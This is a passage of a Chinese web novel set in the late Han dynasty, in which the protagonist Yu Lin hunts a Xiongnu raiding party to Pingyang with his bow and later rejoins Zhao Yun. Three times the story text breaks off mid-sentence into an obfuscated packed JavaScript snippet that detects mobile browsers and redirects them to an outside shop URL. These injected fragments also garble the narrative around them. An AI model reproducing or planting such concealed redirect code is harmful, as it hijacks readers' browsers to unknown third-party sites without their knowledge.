倒不是因为他们对这些孱弱的羔羊怀了恻隐之心——就算他们自己用不上那么多,通常也会尽可能多地掳些青壮与妇女回去贩卖,总会有懒得出门的贵族或是鲜卑人需要的。 他们减少了出门的趟数,是因为随着中原大乱,州土凋敝,民不聊生,根本没什么可供他们劫掠的物件。 那些汉人百姓的破茅屋里莫说是金银珠宝了,连粮缸都是空空如也,无人耕种的田里则只有荒草,家畜更是毫无踪迹。 唯一剩下点掳掠价值的,便是汉人本身,还能抓去做奴隶使。 可稍微肥壮美艳些的,早长了腿跑远了。剩下的多是老弱,一个个骨瘦如柴、孱弱得步履蹒跚。 别说他们根本看不上,就算强行掳走,十个里恐怕得有九个会死在路上的颠簸中。 “这日子真是越来越不好过了!” 想到一路奔驰至此,背囊却还是空空如也……身侧倒是悬挂了颗刚割下来的血淋淋的头颅,还是个属于枯瘦老汉的。 其他匈奴人都看不上这毫无价值的猎物,他本也懒得杀,对方却似找死般刚巧挡着他前进的马蹄,害他未能追上一抱着孩子逃窜的年轻妇人。 等马蹄将那哀声求饶的老汉践踏到地上时,那妇人已混入骚动的人群,在胡乱的哭喊声中不知跑哪去了。 他不禁大怒,当场一箭射死这碍事的老翁。 部族中素来重勇轻老,他作为青壮杀死老汉,虽无需羞耻,但也没什么可引以为傲的。 抱着聊胜于无的念头,他将那老叟皱巴巴的脑袋割了下来,暂时充作战利品,挂到了马侧。 反正这混了沙土的乱发裹着的头颅血肉模糊,足够难以分辨。只要同伴不揭穿他,便也看不出来年龄。 在族人眼里,汉人除了那少数美人外,其实都长得大差不差。 他兄长被他催得急了,不禁骂了他几声,到底宠爱这个弟弟:“急什么?真遇到好的,有你阿兄在,怎么可能会缺了你的?” “嘁。” 他并未被安抚到。 像是头稚嫩但残忍的鬣狗崽子,为饱饮鲜血而贪婪地游荡于荒野,久久不见心仪猎物的他愈发不满,狠狠地甩了一下鞭子。 亏他来前这么期待! 他可听那些有幸在五年前追随右贤王去卑的族人说了,当时那汉人那窝囊废小皇帝由长安返回洛阳,途中饥寒交迫,追随皇帝的军队又自身混战连连。 皇帝自身都难保,更不可能顾得上随行百姓了——越是混战,就越是方便假意帮忙护送皇帝的胡骑四处掳人。 也就在那时候,还能掳到些好货:再落魄的皇帝也还是皇帝,粮的确是没粮了,公卿都得丢脸地出去挖野菜吃,可他们逃亡时从指缝里漏出的那点锦衣金器,也根本不是连骨头缝里都已经被刮干净的普通百姓能比的。 尤其是在不得不落崖入水的那天,能随皇帝登上船的寥寥无几,余下的要么在水里淹死、白白浪费掉,要么就是留在岸上要跳不敢跳,正好叫他们悠闲挑选。 其中就有好些年轻美貌的妇人被抛下,绝望地哭哭啼啼,毫无反抗能力,着实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15548713|170016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫他们满载而归。 想到这里,匈奴青年不禁舔了舔干燥的下唇,心里羡慕不已。 可惜那坐拥冀州的袁绍有眼无珠,竟瞧不上他们匈奴铁骑,反倒更青睐那些粗莽的乌桓人,既斥重金招精骑、又许了贵女和亲…… 同行的有过空手而归的经验,这会儿倒还镇得住气,他则越想越郁闷,不知不觉就领先了队伍一大截。 他最先驱马至兄长所说的歇息处,利落地翻下了马背。旋即甩了甩被汗水打湿的头发,一边解着辔头让马吃水,一边还在心里琢磨那批在五年前被抓回去的美人。 要是他没记错的话,其中最出名的那个好像还是姓蔡的大儒的女儿,早已归了他们的左屠耆王了。 可惜他未曾有机会亲眼见见那汉女到底有多美貌,能叫…… “啪。” 射手技艺精湛绝伦,箭矢破空的爆鸣可谓极其短促。 以至于他的耳廓虽捕捉到了,身体却完完全全来不及做出任何反应。 只任由冰冷的铁制箭簇不知从何处飞出,携千钧之力没入浑身上下最坚硬不过的额骨,就如利刃刺入豆腐般游刃有余。 被飓风刮到的茅草,颓然坠地。 匈奴青年此生的最后一个念头,还是惦记那蔡氏汉女的长相。 比他慢上好些,正轻松地有说有笑的匈奴战士则正正目睹了这可怖一幕。 在短暂的惊愕后,这一小队匈奴骑脸色倏然大变。 “有埋伏!”“敌人!” 那生死不知的青年的亲生兄长震惊过后,最先丧失理智。 “阿弟!阿弟!” 他难以置信地发出一声野兽般的凄厉哀嚎,旋即不管不顾地闯入林中,试图查看弟弟状况。 他甚至还未来得及下马,一道细长黑影便如闪电般自林间窜出,直贯入他怒睁的右目。 他只发出了“嗬嗬”的短促抽气声,就已栽倒在地。 所有人都清楚地听到了黑影带来的那叫人头皮发麻的“噗嗤”一声,并在这名高壮的匈奴人自马背上坠落时,捕捉到那在巨力下轻松长驱直入、自被穿透的后脑透出轮廓完整、但鲜血淋漓的冰冷簇尖。 截至目前,林中之人不过发出了两支箭。 似琴师于幽篁晚枫间拨弄琴弦,一边漫不经心逐出徽羽之音,一边聆听那风泉泠泠,充满了轻松写意的雅趣。 ——可这是两支嚣张狂妄,在他们眼皮底下轻易带走了同伴性命的夺命箭! 然而直觉在拼命预警,这次所有的匈奴人都没有再开口,只是捏死了自己的武器,并爆发出前所未有的巨力、用另一手狠狠勒住缰绳,在马不解的痛呼声中止住汹汹去势。 “是谁,究竟是谁!” 有人愤怒地咆哮着,却未踏入林中,手中长弓虽已拉满,箭尖却不知指向何处,只随慌乱的目光四下梭巡。 他们顺着刚刚箭矢冒出的方向一通猛射,却不闻射中的声响或对方的痛呼,反倒是他们群中又有二人中箭了。 无一例外,都是连惨叫声都来不及发出,就已成了那箭下亡魂。 他们从遇袭起就一直发蒙的脑子里,这下也终于清醒了一点。 藏于林中的高明射手,似乎只有一人。 然而这形如鬼魅的神射手力贯金石,且不知为何,唯独青睐头颅。 每箭必贯眉心,透后脑而出。 一回只发一箭,丝毫未有被胡骑所围困的紧张慌乱,反而如猫戏鼠、诱其来逐般,透着一股难以言喻、却叫他们不寒而栗的松弛慵懒。 他根本不惧他们追来……不,恐怕是盼着他们入林! 那稚童引弹弓射鸟的悠然自在,任由那脑浆迸裂、面目全非,引弓之指也不曾有过半点犹疑。 这里的匈奴骑分明杀汉人如麻,但在意识到那迄今不明身份的对手的游刃有余,一股森森寒气,不知为何开始沿着他们脊骨,不住地往上窜。 林中静候他们的虞临目静如湖,心如止水,手持满弦长弓。 尽管他对长弓远不如前世用各式各样的热兵器顺手,但这种类似对准攻城丧尸、挨个点射头颅时一击毙命的操作,早已烂熟如心,哪怕闭着眼睛,也不可能有半点迟疑。 悠悠四海,婴丁祸败,人如草芥。 既然他们能仗力大势强,将那王氏老人视作草芥…… 那他实力略胜他们一筹,自然也可以视他们如尘土。 “撤退!” 在本能的不住示警下,他们含泪恨恨咬牙,终是不得不忍痛丢下必死无疑的同伴,一步三回头地往来时的路退去。 17. 第 17 章 这一行怀抱怨恨逃窜的匈奴青壮并不曾想,他们人生中的最后一场噩梦,不过才刚刚开始。 胡骑素以“士力能弯弓,尽为甲骑”而威名赫赫。而远在百年前,匈奴分裂为南北二部,同汉人错居之匈奴落渐渐出现胜兵制度,五人中仅取一人为骑兵。 即便如此,常年以游牧为生的他们仍称得上是人便弓马,驱策如电,来去如风。 多年来,便是凭此肆无忌惮地入关钞略,张雄跋扈,鲜有对手。 寻常百姓家徒四壁,连匹马都不曾有,根本奈何不得他们,只得任由他们欺凌劫掠;而州兵中有能者早被抽调一空,驱至官渡前线,留于军中防卫者多是庸碌无能之辈,加上所驭不过劣马,完全追不上他们;豪强富户早已坚垒自守,决计不会无端招惹棘手的胡骑;袁绍军则因官渡战事之旷日持久而焦头烂额,拉拢安抚他们作为助力尚且来不及,哪里会在意一些普通郡民那微不足道的损失? 可偏偏就是这趟一如往常的钞暴,途中杀死的一个微不足道的枯瘦老汉,叫他们沾上这附骨之疽。 无论他们朝西逃出多远,沿途投靠了多少匈奴属村落寻求庇护,只要下了马,因疲惫而闭上眼,随时就会有如影随形的利箭追来。 神出鬼没的那人始终不急不慢地缀在他们身后,每日通常只发一箭,回回箭无虚发——雪光但凡出现,必有一骑毙命。 只要新的一天到来,他们就会发现被留下守夜的同伴已被那神行电迈的惊天一箭贯入额心,连示警的声音都未能发出,便当场毙命。 起初他们还感到愤怒、屈辱、惊疑…… 现在却只余无穷无尽的恐惧,和不知何时才能摆脱那索命恶鬼的绝望。 现身的从来只有看似平平无奇的箭矢,他们始终不知他本人究竟藏身何处,而且对方的耐心强大得叫他们寒毛直竖:如为捕食猎物的猛兽可于林中伏卧日余而不动,那神箭手也始终只在暗中观察他们,以惊怖为凶器,肆意地耍弄着他们。 好像在尽情享受着他们在惶恐不安中风声鹤唳、草木皆兵的丑态,再在侵晨到来前无动于衷地弯弓放箭,夺走他们中一人的性命。 家是绝对不敢回了,想藏在沿途经过的村落也是无用——他们亲眼看着做出这一决定的那几人,连带其庇护者,是如何悄无声息地毙命藏身之所的。 他们表情或于睡梦中安详,或因洞察危机而在恐惧中已丧命:无不是铁簇贯头,或穿额心,或穿两边侧穴,一箭毙命。 偶有在夜里一道遭殃的人家,可包括亡者在内,部落中人竟始终对灾祸一无所察。 这叫常人难以理解的诡谲一幕,很快叫沿途之民所察觉,皆感震怖。 无论是荒漠或是草原,都不可能完全掩盖马粪的气味或是马蹄的痕迹,尤其对常年驰骋于这片土地之上已久的他们而言,要通过蛛丝马迹来捉到追踪者的痕迹,理应是易如反掌的。 可他们无论派出去多少人,在附近近乎掘地三尺地搜寻,依旧是什么也没能找到。 这怎么可能? 他们无论如何都不肯相信,也不敢相信。 他们素以“人不驰弓,马不解勒”为豪,但这不过是夸大的说辞罢了——这世上哪有不知晓疲惫的人,又哪有不需休息的马呢?只要是被马蹄踏过的草地,就会留下能让经验丰富的他们分辨出来的凹陷,这是他们自降生的那一天起就被教导的道理。 可眼前的事情,却彻底打翻了他们的认知。 被寄以厚望的落巫则在查看那几人死状后,更是一口断定带走他们性命者非人,而乃鬼神。 ——“是诅,汉诅。” 此言一出,沿途部落再无人愿意收留他们了。 他们被惧怕诅咒牵连的族人所遗弃,又被那鬼魅般的索命利箭追着,只能重新踏上路途,不敢再有片刻停歇。 如今唯一的希望,就是回到匈奴庭,寻求祖先、天地、鬼神和天地所置之单于的庇护。 若真是恶鬼,一定会受他们先祖不灭之魂的震慑;若只是人,那也无法攻破有严兵把守的高大城墙。 只要能逃进去,他们或许就安全了——他们从未感觉这条熟悉的道路如此漫长。 等终于快逃到象征着心目中最安全的地方的匈奴庭平阳了,一行十九人竟仅存二人。 王庭仿佛近在眼前,他们脑海中的那根弦也已被绷到了极点,变得越来越沉默的同时,随时都可能因极端的恐惧而断裂。 “这果然是诅咒。” 他听到唯一剩下的同伴念念有词:“那些该死的汉奴……可恨……一定是诅咒,是诅咒……” 原本高大健壮的汉子,在长达半个月被死亡阴影笼罩下,叫无眠和疲敝折磨得双目赤红,整个人都瘦脱了形。 比身体状况更糟的,是对方的精神状态。 他麻木地扭过头去,继续看前方蜃影般的城池。 事实上,不仅是他的同伴濒临疯狂,他也越发怀疑,究竟是否有这么个人的存在了。 ——这便是他的头颅被骤然发狂的同伴以刀割下时,所残存的最后一个念头。 见到剩下那两人突然自相残杀的画面,远处的虞临微微歪头,却未放下弦已然拉满的长弓。 下一瞬,被骤然释放的弓弦激起一声铿锵,一道亮影绝弦而去。 箭出,人倒。 掐灭最后一根草芥后,虞临却未第一时间离开。 而是静抬下颌,目无感情地仰视这座已被匈奴兵侵占多年的汉人城市——平阳。 从双方卒遇的第一天起,他分明能轻易杀尽这一行人。 没有选择这么做的目的,是想弄清楚他们本营所在的地方。 匈奴骑自然不可能找到他的坐骑留下的痕迹——他自始至终,都未借助过外力。 弓箭和长剑根本称不上负重,他能轻易发挥出最快的速度来。 凭他的狩猎能力,沿途又随时能猎取到食物……对极限状态下三天才需进食一次的他而言,要追踪这群每隔大半天就要扎帐休息、行迹无比明显的人,可谓毫不费力。 路上所经过的那些部落,他闲得无事,也都四下巡视过:凡是见在户门处悬挂着汉人头颅做战利品,又或是院落里捆有奄奄一息的汉人奴隶的,便顺道一并解决了。 在他用箭矢的粗暴催促下,这行匈奴骑显然不算配合。 虞临也有办法。 每见他们想赖着不走了,或是有人想脱离队伍独自逃跑,他便直接射死那人作为提醒,好督促余下的人继续向前。 孤身狩猎丧尸多年的他,在藏匿身形、长途追踪和驱赶猎物相关的经验堪称无比丰富。 虞临认为,只要他们一天不能摆脱危险,就只能被迫往心中认定最安全的地方逃。 如猫逐鼠,只要耐心足够,总能找到对方的巢穴。 事实也正如他所料:这一队匈奴骑带着他一路辗转,最终来到了王庭所在的平阳城。 在最后一人毙命于箭簇之下后,那股不断催促他前进、驱使他到此的陌生情绪,也终于淡化了。 日曜绚烂,让乌黑的瞳仁染上了一缕仿佛带着温暖的浅褐。 像巡视自己的领地一般,虞临光明正大地在附近逛了一周,最后视线锁定了城头伫立的那三面大纛。 他从未有过凭自己一人抵挡千军万马的狂妄,追出这么远的主要目的,要确定这些胡人的根源。 所谓扬汤止沸,不如灭火去薪。 毕竟冀州毗邻并、幽二州,又紧临北漠,作乱者有日渐势衰的南部匈奴,还有新兴起的鲜卑乌桓等族裔……哪怕书上有大致写过,但在现实里要真正分辨没有文字、血统混杂、长相具是深目高鼻的胡人的具体族类,还是比较困难的。 现在他知道了,是南匈奴。 城头卫兵似乎通过日常眺望中察觉到了他那突兀的存在,陷入小型的骚乱中。 对此视若无睹,虞临只漫不经心地重新举弓,箭尖准确地对上了正中间的那面大纛。 ——临走之前,就先做个标记吧。 一箭。 两箭。 三箭。 第三箭既出,柔韧的弓身终于不堪重负,随着凄厉的“啪”一声,倏然爆裂开来。 然锐锋已如时龙驭风,凤旌荡尘而去。 指顾倏忽间,电鹜扬光。 在耀武扬威的剧势下,三面大纛堪称不堪一击,颓然倒塌。 始终只能看到遥远的一个黑点、根本分不清来人相貌的匈奴兵,上一刻还商量着要不要派人下去查看,下一刻就听到箭矢破空的恐怖锐响。 不等他们做出任何反应,一切就已经天翻地覆。 那哪是人力能射出的箭矢,分明是日月为之夺明、丘陵为之摇震的三下霹雳! 比壮汉胳膊还粗的杆身叫刚猛无极的箭矢彻底击倒,原本威风凛凛的三面大纛如被抽了骨的猛兽,飘然坠落。 亲眼目睹这使人难以置信的一幕后,哪怕是再骁勇善战的匈奴兵,也已经抑制不住地发出了嘶哑的叫喊声。 稍机灵些的,已经狼狈地低头躲避了。 再没有比他们自己,更清楚双方相距究竟有多远的了——分明是用汉人最引以为傲的劲弩,也不可能触及的啊! 而标记完成的虞临,则已经不急不慢地开始原路返回。 他中途还赶上了一趟胡汉百姓私底下进行的互市,换了套干净的衣服;又遇见了一头适合当做坐骑的野兽,照例进行临时征用。 他准备直接往许都去,却不料才走上两日,他忽遇上了领着数骑、深入西向来寻他的赵云一行。 赵云犹疑地唤了声:“子至?” 视线遥遥捕捉到那道卓然不群的身影后,赵云先是疾追一段,而在看清楚情形后,又骤然提缰勒马。 即便他不这么做,对危险感知敏锐的马也不愿前进了。 爱驹不安地垂首,身躯颤抖,赵云的呼吸亦骤然变得急促。 他并未继续接近十步开外的虞临,而是目光谨慎,不断地打量虞临。 见他反应奇怪,虞临不禁往四周看了看,有些困惑,但确实未发觉有什么异样…… 不过此时的他,到底比在荆州时稍通了一些人情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15553384|170016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世故。 排除其他因素后,虞临看向了身/.下这头自从成了他的手下败将、就莫名死气沉沉的坐骑,自认找出了原因。 “它不会乱咬人的。” 虞临诚恳地解释道。 大概是为了让自己的话更有说服力,在众人心惊肉跳的注视下,他还轻描淡写地拍了闷不吭声的坐骑脖颈一下。 那白皙的手心落在厚实的毛发上,看似轻松,却发出了重锤击物似的闷响。 人们于是满面惊悚地看着这头站起来比人要高大雄壮太多的棕罴,在一动不动地挨了这不知是轻是重的一下后,哪怕厚重的身形都叫那一击惹得晃了一晃,也只是默默地重新站稳了。 既然没有抬头咆哮,也没有发狂地胡乱进行攻击。 始终安静得如同一头死熊。 意识到这点后,众人更是寒毛直竖。 能将这种野性不驯的凶兽,折磨得反抗的意志都荡然无存……只可能是更可怖的恶兽。 展示完毕后,虞临又抬眼看了看他们,眼神好似平静无害。 赵云的倒只是有些僵硬,可跟在他身后的那一行青壮则各个脸色青白,连毛发都明显地因悚然炸开了。 虞临微微蹙眉。 看来还是不行。 意识到这点后,他只得惋惜地放走了才磨合了不到两天的坐骑。 可惜了,他原本还挺满意它的:不像是那种被称为虎的野兽,皮毛固然比较柔软,体温也合适,但腿实在太短了些。 他即使稍蜷着腿,在虎跳蹿也难免曳地,极容易弄脏衣物。 这次的则大为不同:这头兽非但背肌宽阔厚实,还能站立着行走。 只是长相可能比较丑陋,让赵云的同伴们都无法接受。 那头巨罴得到释放,也只是温驯地低头趴着,并没有挪动的意思。 直到虞临用自认为很轻的力度推了它一把——只是从结果上来看,那样的力道就跟稚童不知轻重地摆弄玩具一样、轻易将那庞大身躯推出了足足一丈多后——它才意识到自己处境的变化。 于是迈着游魂般的脚步,全程无视冷汗直流的众人,自顾自地蹒跚远去。 “呼。” 不知是谁先吐了口气,血色慢慢地回到了自认劫后余生的他们脸上。 那覆面上的眉目仍然光丽平和,他们却心有余悸,胸撞疾如擂鼓。 既不敢直视虞临,也不敢大声说话。 他们满心敬畏,只小声对赵云发表感慨:“子龙,你可不曾提过要来寻的,是这么一位神人!” 哪里像是需要他们帮助的架势! 赵云亦有些哭笑不得。 那日见虞临径直离去,他惊愕之余,以为对方年轻气盛,听闻匈奴骑猖獗后难免做出激怒之举,也不假思索地跟了上去。 ——却哪里料到同是步行,不过片刻功夫,他就被行如霹雳的虞临给远远甩开了。 等追到城门,更是从陷入震惊的其他人口中得知了对方捷然翻出城去寻人的奇举。 瞠目结舌之余,赵云别无他法,只得回头取马,再设法召集邺城中数位擅弓马的常定乡人,陪自己前去救人。 万幸赵氏于冀州还算有些薄望,他昔日又为常山州郡所举,颇识得些人,匆忙下也能召集来到几位来。 但这一来一去,已经折腾了大半日,在不知虞临具体去向的情况下寻人,无疑如大海捞针。 若不是沿途有一行匈奴骑遭“汉诅”的传闻,他已完全不抱希望,眼下也快准备领同伴回程了。 谁曾想就在折返点,会迎面遇上孤身无马行于荒原中,神态往常如旧的虞临。 他果真只身孤胆,西去数百里至胡居腹地了——再次出现时,还从容淡定地骑坐在一头于当地凶名赫赫的巨大熊罴上。 赵云定定的眼里倒映这个不知该说胆气纵横、或是莽撞草率的身影,一时间不知道说些什么。 若说虞临此时形容狼狈,风尘仆仆也就罢了。 偏他乱跑一通,现在看着竟一如常日光丽,于凶险万分的胡地亦如闲庭漫步,从容闲雅……不对,观其骑熊的惊世之举,足以看出对方恐怕才是最为凶险的存在。 意识到这点后,赵云连胸口那股气都发不出来了。 虞临显然未能体会到他的复杂心境,也未能真正意识到自己的举动有多惊世骇俗。 但他认为,赵云明明只是初相认,却愿意兴师动众,犯险西向、只为寻他,心意着实值得感谢。 既然这样,那就先护送子龙他们回邺城,再去许都吧。 打定主意后,虞临便学着陈登等人的模样,风度翩翩先拱手一礼,再温声问候道:“多日未见,子龙可还安好?” 赵云:“……” 他如何能安好? 他终归生性谨慎又厚道,经这漫长的虚惊后,还是对年纪轻轻的对方说不出什么重话。 又清楚这里过于靠近敌营,并不是适合长谈的地方。 于是在这声叹息后,便木着眼,将表情坦然无辜,又淡定得可恶的这人拽上了自己的马背。 18. 第 18 章 在寻找虞临的路上,赵云一行不时遇见零散的匈奴人御马匆匆路过。 虽因看出他们这一行并不好惹,人数偏少的匈奴起并未发起攻击,但仍是面露恶意,口中不知说着什么詈词。 只是赵云他们心知此行目的在于寻人,并不适合同他们发生冲突,于是选择避让了事。 之后更是基本不走大路,始终保持高度警惕。 回程的路上,他们则是一反故态,简直称得上是耀武扬威。 倒不是赵云故意为之,而是在虞临理所当然的态度影响下,他们不知不觉就走到宽敞的官道上去了。 途中遇见匈奴骑的次数自然大增,但几乎是双方一打照面,明明更人多势众的对方便神色大变,堪称惊骇地驱马离去了。 至于原因所在…… 空前沉默的赵云清了清嗓子,却说不出什么话来。 不止是他,同行的几位乡人亦是神色微妙、时不时偷偷抬头看一眼正骑着头体态雄壮魁梧的棕罴、不急不慢地走在队伍最前的虞临。 比起凶名赫赫的棕罴,驭于其上者姿态悠逸,从容温雅,俨然更似山君。 在尤其信奉神明的匈奴人看来,如此威俨气魄,宛如神人临世,自然不敢与其为敌。 赵云一时有些失语。 ——谁能想到,这头明明已经被虞临亲手释放、神色颓丧的棕罴,竟然会在第二天又主动回来呢? 虞临也感到有些莫名其妙。 他将昨晚打猎吃剩下的那条鹿腿都顺手投喂给对方、作为这两天的补偿后,就想再次逐走这头被同伴们嫌丑的坐骑。 众人木然看着,虞临当真是不费吹灰之力,只凭单手,就将巨硕的棕熊推出一大截路。 而那有着宽大有力的蒲掌、粗壮雄健的躯体,只轻松挥动一下粗臂,就能拍扁人的脑袋的恶罴……却只在被虞临无情推走时,发出象征着委屈不满的、哼哼唧唧的鼻音。 这几位连跟着赵云奔赴凶险死地都毫不为惧的青壮,这时却看得头皮发麻,起了一身冷汗。 “天灵在上,黄壤在下。”有人恍惚道:“我至今日方知,熊啼竟类犬吠。” ——毕竟在这之前,他只曾遥闻那叫人碎魄的可怖咆哮。 最后还是赵云实在看不下去了,委婉地劝说虞临,表示完全赞成将这头“温驯”的棕罴留下暂做坐骑后,这叫人心惊肉跳的画面才算结束。 不过虞临只骑了几天,就嫌它太慢,耐力也差,于是强行将这头脾气古怪的棕罴赶走了——对方仍然不情不愿,数次试图返回寻人。 直到走至魏郡境内,才不再跟随。 不过这些小插曲,与其说让赵云一行感到苦恼,更多的还是震惊、新奇和啼笑皆非。 真正棘手的事情,反而出现在他带虞临回到魏郡境内。 乡老早成了惊弓之鸟,远远看一骑,就匆匆忙忙躲了起来。 直到他们靠近了,清楚并无恶意后,才像又钻入洞中躲藏的鼯鼠一样,重新从隐蔽的藏身处冒出。 见他们也是冀地人,便有乡老愁苦地倾诉,昨日又被郡兵征了一批粮:“无论是地里,还是家里,已经什么都没剩了啊。” 短短半个月,郡府的官吏便来了两趟:第一趟是运走了他们原本便不指望能保住的新熟成麦,却根本不等他们缓一口气,又派人来了第二趟。 面对他们的苦苦哀求,那些有要务在身的管理自不会动容。 兀自挨家挨户地盘问、搜刮,直到榨干农家粮缸外的所有存粮为止。 光凭那几口不大的粮缸里所剩的陈粮,根本不够一家子吃到下一批麦熟,在这之前,必须自想办法。 不知那些如狼似虎的府兵会不会突然窜出来,他们连抱怨都不敢大声,但心下的惶恐不安却完全掩盖不住。 明明才收走了那么多的粮食,却又要连他们所剩无几的存粮都盘剥了去。 这岂不是证明前线战况不好,军中毫无蓄积? 若这仗继续打下去,不出半个月,粮食就又要不够吃了。 那些空荡荡的粮车,早晚还得来第三趟! 光他们供自己吃食的那些,根本填不满那偌大粮车,只可能是打他们种粮的主意了…… 哪怕是大字不识的老农,也知晓那才是真的索命。 但顶上的人,什么时候在乎过他们的命呢? 这几名手足胼胝、肤如桑朴的老农,向赵云一行倾吐完后,便不再开口。 他比谁都清楚,他们也无能为力。 田父目光空洞,无声地望着只余稀疏青草的田地。 众人亦是无言。 富商之家,必夺贫室之财:而被夺去一切的他们在贵人眼中,至微至陋,就同这野草。 尽管反复践踏,死了便是死了,甚至还能节省些口粮。 反正,来年总会生出新的来。 虞临神色如常,赵云则握紧了缰绳,竭力克制着内心的怒火。 一行人继续前行,这次却沉默了许多。 待到邺城城门之前,他们的心情才有所好转。 虞临的视线淡淡地落在了某处。 半月前曾被鲜血染红的那方泥地,已经被冲刷得不留痕迹,又被重重车辙给压得凹陷了。 ——就像是什么都不曾发生过一般。 尽管沿途所见叫人心绪沉重,但对此番肯跟随赵云出来救人的这几位常山青壮而言,能结识虞临这等惊才绝艳的人物,绝对是一件值得庆祝的事。 “今托子龙之幸,得遇奇士虞子至,方识何为孟贲之勇、庆忌之捷。竟使胡虏望风奔西,叫我辈甚是与有荣焉。” 其中一人家产稍丰,不但热情邀请赵云带虞临到他家中做客,还大声嚷嚷着要宰杀耕牛来款待,以示对虞临这位贵客的重视:“不知子至可愿赏光前往敝舍做客?寒舍虽陋,尚有耕牛二头,今日便要使人宰杀了,只求叫诸君尽兴!” 一听有罕见的牛肉可吃,这些时常馋肉的精壮汉子自然激动不已,似猿猴般跟着起哄。 听到这纯属败家子的言论,哪怕性格稳定如虞临,眼皮也是轻轻一跳。 从听到老农那番凄苦的话后,赵云便有些心神不宁,这时便未认真听对方说话,一时间未做出什么反应。 即便如此,他仍能感觉到了虞临宛若无意地投来的求援视线,便主动出声,替他解围了:“君盛情所在,本不当推辞,然此正逢兵争事烦之际,空宜审慎,以免惹祸上身。” 赵云作为曾受郡中推举领兵之人,于常山自是极有威望。 听他这么说后,本来满脸兴奋的几人渐渐冷静下来。 “子龙所言极其,是我等过于轻狂了。” 提出要宰杀自家耕牛那位更是一脸虚心接受的模样,旋即很是惋惜地叹了口气,又与虞临反复作别,才一步三回头地往家的方向走。 实际上,往返奔波了这近二十日,除虞临仍奇迹般地容光焕发、端美如初外,几人皆是风尘仆仆——他们早已想着回家洗漱、稍作歇息。 见晚宴作罢,便也拱手道别了。 让心事重重的赵云未曾料到的是,虞临只在他家中住了一夜,便在翌日一早向他正式辞行。 “竟这般快?” 赵云微愕。 虞临颔首,中肯道:“已不算快了。” 要不是之前那队匈奴骑行路拖拖拉拉,以他的正常速度,由中丘追至平阳,根本要不了那么久。 回程也是。 若不是刚好遇到赵云,不想辜负对方来救援自己的心意,也不愿见对方一行自己回去或许遇上危险……他才特意护送他们回邺。那此时的他,可能都已经抵达许都了。 赵云浑然不知自己一行实则被虞临护送了,闻言陷入沉思。 双方相处时日并不算长,他也已多少清楚,虞临一身侠气浑然天成,且言虽少,行如一。 当日能因一老翁之死怒而追匈奴千里,来日便能鸿鹄再度振翅,翱翔于旷野之上。 虞临也未催促他。 他仅给自己留了一串五铢钱,余下的钱财,则准备请赵云在他走后转交给那叫邓艾的孩童、或是其母。 倒非出于愧疚——罪魁祸首是恶如禽兽的匈奴人,是引狼入室的袁绍,是倾颓无能的朝廷,甚至是人微力薄的自身。 是这乱世。 他只是纯粹认为,此时的他们远比自己更需要这些。 想了想,他将那把随着射倒大纛的三箭而弓身不堪重负地爆裂,彻底宣告废弃的强/.弓也取出,跟那些钱币放在一起。 又将他临时将老翁头颅埋葬的地点,在一块碎布上简单画图标记。 这对他而言,可谓毫无意义。 但又本能知晓,他们或许比起那些有实际用处的银钱,会更加在意这些。 废土时期的人早已不在意死后躯体的完整,所谓的全尸下葬,倒是一种污染和浪费。 ——但毕竟,此时的人不是这么认为的。 虞临入乡随俗,也愿意尊重他们的理念。 完成这一切后,他便看向端正坐在自己对面的赵云。 不同于初见时的从容舒缓,对方此时神色略显忧郁,陷入思绪中。 似乎是察觉到虞临的视线,赵云回神,先是致歉,旋即问道:“子至此行,可是意在诣许?” 虞临颔首。 赵云心里微沉。 天子虽都许,实权却早在曹操之握。 尤其自年初之祸后,更有无数人看清汉廷不过徒有其表而失其威,堂堂天子至尊,也不过是供曹操号令天下之傀儡罢了。 虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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哪怕他真能做到抱朴守真、一如往昔,身边的人大概也会为了自身的目的,强行推着他前行。 赵云凝眉,忽反问道:“难道在子至心中,曹公便能保证初心不改吗?” 出乎他意料的是,虞临不但毫不犹豫地否认了,看向他目光里还带了些对于他问出这个问题的不解:“非也。” 他怎么可能对曹操的道德拥有这么不切实际的期待? 他的态度太过坦然,赵云猝不及防下,神色茫然:“那为何……” 虞临莫名道:“我以智择主,而非因德择主。论迹不论心,又岂会在意这些?” 在他看来,仁慈是一个可以随时转换的变量,是次要的加分点,但并非不可或缺的。 作为领导者,权重最高的,必须是智慧。 只要对方足够聪明,就会清楚为了更便捷地达成目的,该在何时、何地、又如何伪装成一位仁君。 如果有必要,这个伪装完全可以持续整整一世。 相较之下,仁慈的蠢人即便再努力,也难以装出聪明人的模样。 在赵云听来,微微垂眸的虞临面色沉静如水,口吻却近乎冷酷:“仁心得失,不过系于一念。若将希望全盘寄于其上,失望在所难免,届时岂不是徒增痛苦?” “若使智者堕为愚豖,则非灾则久,并非常事。” 通常与衰老密切相关,也应该长到足够他想出应对的方法了。 虞临绝非不在意昔日彭城之屠的残虐。 与之恰恰相反的是,正因为厌恶曹操与袁绍曾经的屠城之举,他才会将这两股现今最强大的势力放在清单的最下方,非要去绕这么大一圈。 